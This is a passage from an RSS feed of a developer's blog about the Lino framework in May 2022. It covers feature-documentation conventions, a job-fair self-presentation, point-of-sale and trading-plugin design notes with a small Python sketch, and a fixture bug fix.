&lt;h1&gt;Sunday, May 22, 2022&lt;a class="headerlink" href="#sunday-may-22-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="about-site-features"&gt;
&lt;h2&gt;About site features&lt;a class="headerlink" href="#about-site-features" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;we leave the translatable text in the code. Because that makes sense. A one-sentence short desciption.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;we add a convention: when you develop a feature, then you are responsible for
also providing a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ref&lt;/span&gt;&lt;/code&gt; name to that feature in the users guide.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Example: the &lt;a class="reference external" href="https://using.lino-framework.org/plugins/users.html#ug-plugins-users-third-party-authentication" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-ref"&gt;third_party_authentication&lt;/span&gt;&lt;/a&gt; feature is bla blabla&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The site features are needed in the About window only so that an &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-end-user" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;end
user&lt;/span&gt;&lt;/a&gt;, when reporting some problem, can can easily report which features they
have activated on their site&lt;/p&gt;
&lt;p&gt;A list of all available features is needed for a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-operator" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site operator&lt;/span&gt;&lt;/a&gt; who wants
to check which features they want and which the don’t want. This list can be
either in the &lt;a class="reference external" href="https://dev.lino-framework.org/team/doctrees.html#term-local-help-pages" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;local help pages&lt;/span&gt;&lt;/a&gt; or in the application’s user guide (or
both). Anyway these are static Sphinx docs. The one-line descriptions of each
feature are needed when generating such an overview page.&lt;/p&gt;
&lt;p&gt;TODO (Sharif):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The About window should just show a one-paragraph list of the enabled site
features. Only the internal names, not even clickable.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO (Luc):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makedocs&lt;/span&gt;&lt;/code&gt; command can generate what is currently being shown in
the about window. Maybe as a list instead of a table.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Examples: &lt;a class="reference external" href="https://dev.lino-framework.org/specs/notify.html#setting-notify.remove_after" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;notify.remove_after&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is a &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#term-plugin-setting" title="(in Lino Hosting Guide)"&gt;&lt;span class="xref std std-term"&gt;plugin setting&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0522.html</guid><pubDate>Sun, 22 May 2022 00:00:00 +0000</pubDate></item><item><title>Presenting Lino to my future boss</title><link>https://luc.lino-framework.org/blog/2022/0517.html</link><description>&lt;section id="presenting-lino-to-my-future-boss"&gt;
&lt;h1&gt;Presenting Lino to my future boss&lt;a class="headerlink" href="#presenting-lino-to-my-future-boss" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, May 17, 2022&lt;/p&gt;
&lt;p&gt;Tonight I plan to attend &lt;a class="reference internal" href="../2021/0520.html"&gt;&lt;span class="doc"&gt;once more&lt;/span&gt;&lt;/a&gt; to HackerX, an event
where developers can enter for free because they are actually what is being sold
to the customers. The customers are companies in search of new human resources.
I probably don’t fit into their standard product pattern but they did let me in.
Nice.&lt;/p&gt;
&lt;p&gt;Here is my self-presentation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Developer skills: Linux, Python, Django, Sphinx, Git, React.  Long-term
experience in accounting, team management, sales agreements, website
authoring.&lt;/p&gt;
&lt;p&gt;I am patiently looking forward to meeting my future boss and employer.&lt;/p&gt;
&lt;p&gt;With me you get a functioning community of 3 workers and 20 customers.
I am the author and maintainer of the &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span class="xref std std-ref"&gt;Lino framework&lt;/span&gt;&lt;/a&gt;. I am CEO and
co-owner of &lt;a class="reference internal" href="../../about/friends.html#rumma"&gt;&lt;span class="std std-ref"&gt;Rumma &amp;amp; Ko&lt;/span&gt;&lt;/a&gt;. I am employing other developers since 2015 (see &lt;a class="reference external" href="https://www.saffre-rumma.net/team/"&gt;my
team page&lt;/a&gt;). I have been working on
this &lt;a class="reference external" href="https://www.synodalsoft.net/vision/#ss-vision" title="(in Synodalsoft)"&gt;&lt;span class="xref std std-ref"&gt;vision&lt;/span&gt;&lt;/a&gt; my whole life. I am not going to stop working
on it.&lt;/p&gt;
&lt;p&gt;But Rumma &amp;amp; Ko is willing to subdue all this to someone who does what I am
less good at: bringing this community to the next level. Of course our
customers and employees will have their voice in any agreement.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0517.html</guid><pubDate>Tue, 17 May 2022 00:00:00 +0000</pubDate></item><item><title>Lino Polly, yet another sailboat</title><link>https://luc.lino-framework.org/blog/2022/0516.html</link><description>&lt;section id="lino-polly-yet-another-sailboat"&gt;
&lt;h1&gt;Lino Polly, yet another sailboat&lt;a class="headerlink" href="#lino-polly-yet-another-sailboat" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Monday, May 16, 2022&lt;/p&gt;
&lt;p&gt;Today I answered to an online poll made by a workgroup “Empirische
Politikwissenschaft” led by Dr. Jan Karem Höhne at the Political Sciences
faculty of the Duisburg-Essen university.&lt;/p&gt;
&lt;p&gt;While answering it, I thought “Hey, this is something we could easily do with
&lt;a class="reference external" href="https://dev.lino-framework.org/examples/polly/index.html#polly" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Polly&lt;/span&gt;&lt;/a&gt;”. I remembered &lt;a class="reference external" href="https://dev.lino-framework.org/examples/polly/index.html#polly" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Polly&lt;/span&gt;&lt;/a&gt; and had a look at it. I actually like
it very much. But:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The documentation about Lino Polly is incomplete and chaotic.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Currently the Polly online demo doesn’t even work&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; doesn’t even know Polly.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The project should get its own repository and documentation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The name “Polly” is suboptimal, I’d rather suggest Lino Chiedo (“ti chiedo” in
Italian means “I ask you”)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There is still a disturbing bug under the &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-React-front-end" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;React front end&lt;/span&gt;&lt;/a&gt;: In
&lt;a class="reference external" href="http://127.0.0.1:8000/#/api/polls/ResponsesByPoll/2?mk=2&amp;amp;mt=8"&gt;Responses of Participant feedback » Robin Rood’s response to Participant
feedback&lt;/a&gt;
when you select an answer, the screen doesn’t update automatically.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And then: does it make sense to work on Polly?
I started to wonder:
Who develops such software?
How much does the university pay for it?
Are they satisfied with the solution?
Who pays the university?
Who pays Dr. Höhne for doing this?&lt;/p&gt;
&lt;p&gt;The mentioned online poll was implemented on &lt;a class="reference external" href="https://www.unipark.com/"&gt;Unipark&lt;/a&gt;, a project that is operated by &lt;a class="reference external" href="https://www.unipark.com/ueber-uns/"&gt;Tivian XI GmbH&lt;/a&gt;, who engages over 300 employees in 19
countries and claims to be European market leader for &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Enterprise_feedback_management"&gt;Enterprise Feedback
Management&lt;/a&gt;
solutions. Unipark also says that it is “QuestBack’s academic program”.
&lt;a class="reference external" href="https://www.questback.com/about-questback/"&gt;QuestBack&lt;/a&gt; is another
&lt;a class="reference external" href="https://hw.saffre-rumma.net/corporations/#term-private-corporation" title="(in Human World)"&gt;&lt;span class="xref std std-term"&gt;private corporation&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;One thing is clear: &lt;a class="reference external" href="https://dev.lino-framework.org/examples/polly/index.html#polly" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Polly&lt;/span&gt;&lt;/a&gt; is once again &lt;a class="reference external" href="https://www.synodalsoft.net/dream/#lf-sailboat" title="(in Synodalsoft)"&gt;&lt;span class="xref std std-ref"&gt;a sailing boat challenging
ocean liners&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0516.html</guid><pubDate>Mon, 16 May 2022 00:00:00 +0000</pubDate></item><item><title>Thursday, May 12, 2022</title><link>https://luc.lino-framework.org/blog/2022/0512.html</link><description>&lt;section id="thursday-may-12-2022"&gt;
&lt;h1&gt;Thursday, May 12, 2022&lt;a class="headerlink" href="#thursday-may-12-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="optimizations-for-points-of-sale"&gt;
&lt;h2&gt;Optimizations for points of sale&lt;a class="headerlink" href="#optimizations-for-points-of-sale" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sharif and I had a brainstorming session about new optimizations to do in
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; for a friend who has a small shop.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Create a new data table “Sales note”.
Move most of the fields in the General tab to the More tab.
Only the field “payment method” and one more field “received cash” and a virtual field “cash to return”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Possibility to quickly start a delivery note, even without specifying a
customer:
Configure a default partner “Miscellaneous” (to be created by the demo fixture) only when invoicing.delivery_notes_demo is True.
In SDN journal, set Journal.partner to this partner.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add a quick link [start new sale] that creates an Invoice record and then shows the detail.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Every POS (&lt;a class="reference external" href="https://dev.lino-framework.org/topics/pos.html#term-point-of-sale" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;point of sale&lt;/span&gt;&lt;/a&gt;) will have its own journal of delivery notes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add a new field “received cash” and a virtual field “cash to return”. Used
when registering cash amounts.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add a new toolbar button for registering.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;About printing: we don’t want to open a pdf document here. Each printer would
be declared as a network printer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution for shop that is operated via a mobile device.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Don’t start these alone:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New action to register when cash money was taken from the cash box in order to
buy a coffee or to pay a provider (potentially clearing a purchase invoice)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Quick link “Daily report” prints cash in the morning, details of sales, total
amount of cash in the evening. Maybe this will be a new voucher type
“CashReport”, with a field “How much money has been taken out of the cash box
to “&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;How to update the total amount after each row? New concept of “master data” :
when I submit some row of an invoice, Lino could return additional data in its
response, which would be some changed values in the master instance.&lt;/p&gt;
&lt;p&gt;On the InvoiceItem model we would have the following application code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;master_data_fields&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;total_incl total_base&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_master_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;voucher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compute_totals&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_master_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The default implementation in core.model.Model would be:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_master_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;mdf&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;master_data_fields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mdf&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;master_instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mdf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;rv&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When a model has master data fields, any submit to a ui change in a row of this
model will also return an additional item “master_data”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;master_data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;total_incl&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;...&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;total_base&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="code-changes"&gt;
&lt;h2&gt;Code changes&lt;a class="headerlink" href="#code-changes" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I moved the table definitions in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.trading.html#module-lino_xl.lib.trading" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.trading&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to a separate
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-ui.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;ui.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; module. Because things were getting messy in a single
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; module.&lt;/p&gt;
&lt;p&gt;I replaced the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;print_items_table&lt;/span&gt;&lt;/code&gt; class attribute on the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatProductInvoice&lt;/span&gt;&lt;/code&gt; model by a new &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#term-plugin-setting" title="(in Lino Hosting Guide)"&gt;&lt;span class="xref std std-term"&gt;plugin setting&lt;/span&gt;&lt;/a&gt;
&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;sales.print_items_table&lt;/span&gt;&lt;/code&gt;.
This feature is used in &lt;a class="reference external" href="https://voga.lino-framework.org/index.html#voga" title="(in Lino Voga)"&gt;&lt;span&gt;Lino Voga&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I thought that instead of specifying &lt;cite&gt;invoicing.voucher_model&lt;/cite&gt; the app dev would
now have to specify &lt;cite&gt;invoicing.default_voucher_view&lt;/cite&gt;, but that idea caused
complexity when resolving the name.&lt;/p&gt;
&lt;p&gt;I fixed a subtle double bug that became visible because now we a demo customer
in Bangladesh, and because the sample IBANS in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.sepa.fixtures.sample_ibans.html#module-lino_xl.lib.sepa.fixtures.sample_ibans" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sepa.fixtures.sample_ibans&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; don’t have any IBAN in Bangladesh.
In that situation, Lino tried to create a sepa.ACcount row with an empty iban
field. And in that case &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;sepa.Account.__str__()&lt;/span&gt;&lt;/code&gt; returned &lt;cite&gt;None&lt;/cite&gt;. After
fixing this bug, I had another problem during &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  ({‘iban’: [‘This
field cannot be null.’]}) because Lino insisted on adding a demo SEPA account
for every partner who has a &lt;cite&gt;country&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;For some reason I didn’t investigate further,
the sample IBANs in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cosi3&lt;/span&gt;&lt;/code&gt; have changed, causing
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;doctest&lt;/span&gt;&lt;/code&gt; to fail on &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/plugins/eevat.rst&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0512.html</guid><pubDate>Thu, 12 May 2022 00:00:00 +0000</pubDate></item><item><title>Friday, May 6, 2022</title><link>https://luc.lino-framework.org/blog/2022/0506.html</link><description>&lt;section id="friday-may-6-2022"&gt;
&lt;h1&gt;Friday, May 6, 2022&lt;a class="headerlink" href="#friday-may-6-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Yes, TIM was right. Lino will have something equivalent to the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;VNA.DBF&lt;/span&gt;&lt;/code&gt; in
TIM.&lt;/p&gt;
&lt;p&gt;I plan to call it &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;Transfer&lt;/span&gt;&lt;/code&gt;. This will be a concrete model. It is a bit
similar to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ledger.Movement&lt;/span&gt;&lt;/code&gt; in that these transfers are generated
when a voucher gets registered, and deleted when the voucher gets de-registered.
And &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator&lt;/span&gt;&lt;/code&gt; will have a &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_wanted_transfers()&lt;/span&gt;&lt;/code&gt;, which
is similar to the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_wanted_movements()&lt;/span&gt;&lt;/code&gt; and will be defined in
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LedgerRegistrable&lt;/span&gt;&lt;/code&gt; as well. This &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LedgerRegistrable&lt;/span&gt;&lt;/code&gt; mixin
should maybe move to another place because it might be useful even in a Lino
that has no ledger.&lt;/p&gt;
&lt;p&gt;An “invoiceable” represents a future row of a trade voucher.&lt;/p&gt;
&lt;p&gt;The invoicing plan will no longer need items because that information will be
just the (filtered) list of invoiceables. The only interactive element of the
invoicing plan’s items were the checkboxes to select individual items. But they
aren’t really needed because the user can simply delete the rows of a generated
invoice before closing it.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_generators_for_plan()&lt;/span&gt;&lt;/code&gt; method will be replaced by something else.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0506.html</guid><pubDate>Fri, 06 May 2022 00:00:00 +0000</pubDate></item><item><title>The new &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;trading&lt;/span&gt;&lt;/code&gt; plugin</title><link>https://luc.lino-framework.org/blog/2022/0503.html</link><description>&lt;section id="the-new-trading-plugin"&gt;
&lt;h1&gt;The new &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;trading&lt;/span&gt;&lt;/code&gt; plugin&lt;a class="headerlink" href="#the-new-trading-plugin" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, May 3, 2022. Seems that Lino is going to have a new plugin,
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;trading&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;section id="use-case-1"&gt;
&lt;h2&gt;Use case 1&lt;a class="headerlink" href="#use-case-1" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A small shop who sells electronic devices and related services.
Some customers don’t need to pay immediately, they receive a monthly invoice. In
such cases the shop owner writes a &lt;a class="reference internal" href="#term-delivery-note"&gt;&lt;span class="xref std std-term"&gt;delivery note&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;dl class="simple glossary"&gt;
&lt;dt id="term-delivery-note"&gt;delivery note&lt;a class="headerlink" href="#term-delivery-note" title="Link to this term"&gt;¶&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;A voucher with a series of rows, each of which means that a given quantity
of a given “product” has been “delivered”.&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;The same customer can come multiple times, each visit expressed by a
&lt;a class="reference internal" href="#term-delivery-note"&gt;&lt;span class="xref std std-term"&gt;delivery note&lt;/span&gt;&lt;/a&gt;. At the end of the month we want Lino to generate all
invoices. It can happen that a customer asks, at some arbitrary moment “Please
make my invoice now”. And of course these deliveries should not get invoiced
again at the end of the month. Or it can happen that the &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-operator" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site operator&lt;/span&gt;&lt;/a&gt;
decides to not write an invoice to a given customer and to wait another month
before invoicing the delivered items.&lt;/p&gt;
&lt;p&gt;When looking at any given product, we want to see when it has been (1) delivered
and (2) invoiced to a customer. Each “open” delivery note means that a
corresponding invoice is waiting to be emitted.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="use-case-2"&gt;
&lt;h2&gt;Use case 2&lt;a class="headerlink" href="#use-case-2" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The shop also offers the possibility to their customers to order
some device. That’s another operation, and the workflow becomes more complex:&lt;/p&gt;
&lt;dl class="simple glossary"&gt;
&lt;dt id="term-order-form"&gt;order form&lt;a class="headerlink" href="#term-order-form" title="Link to this term"&gt;¶&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;A voucher with a series of rows, each of which means that the business
partner “orders” a given quantity of a given “product”.&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;An &lt;a class="reference internal" href="#term-order-form"&gt;&lt;span class="xref std std-term"&gt;order form&lt;/span&gt;&lt;/a&gt; can include a deposit or pre-payment, which may be partly.&lt;/p&gt;
&lt;p&gt;When looking at any given product, we want to see who ordered it. Each “open”
order means that a corresponding delivery note is waiting to be emitted.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="use-case-3"&gt;
&lt;h2&gt;Use case 3&lt;a class="headerlink" href="#use-case-3" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Like case 2, but we add a feature that Lino also helps with filling our own
orders towards our providers. At any moment we could say “Let’s write an order
form four our provider X”. This order form may cover the orders of multiple
customers. It adds “incoming delivery notes” and a feature to notify customers
that their order has arrived.&lt;/p&gt;
&lt;p&gt;It can get even more complex. For example when you have serial numbers and
warranty services.  In that case you need to assign each incoming item to the
customer to whom it is to be delivered. Or the customer comes back one year
after a purchase and has a warranty issue. In that case you want to track where
you bought the device, and you will need at least one new journal of vouchers
“warranty issues”. Or your activity is not about electronic devices but about
small objects, which you buy in big quantities and sell them after having them
packed into smaller parcels.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="use-case-4"&gt;
&lt;h2&gt;Use case 4&lt;a class="headerlink" href="#use-case-4" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;And a last use case, e.g. in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; where you don’t speak about money. But
you have a collection of books and other things, which you happen to lend to
some friend. And you might want to keep track of these. It’s not about money,
but about asking them back after some time.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="the-plugin"&gt;
&lt;h2&gt;The plugin&lt;a class="headerlink" href="#the-plugin" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;trading&lt;/span&gt;&lt;/code&gt; plugin would be used in all these cases.&lt;/p&gt;
&lt;p&gt;It would define a choicelist &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;TradingStates&lt;/span&gt;&lt;/code&gt;, which describes all states
of the workflow. In use case 1 this choicelist would have only one item,
“delivered” or “to be invoiced”. In use case 2 another state “ordered” or “to be
delivered”, etc.&lt;/p&gt;
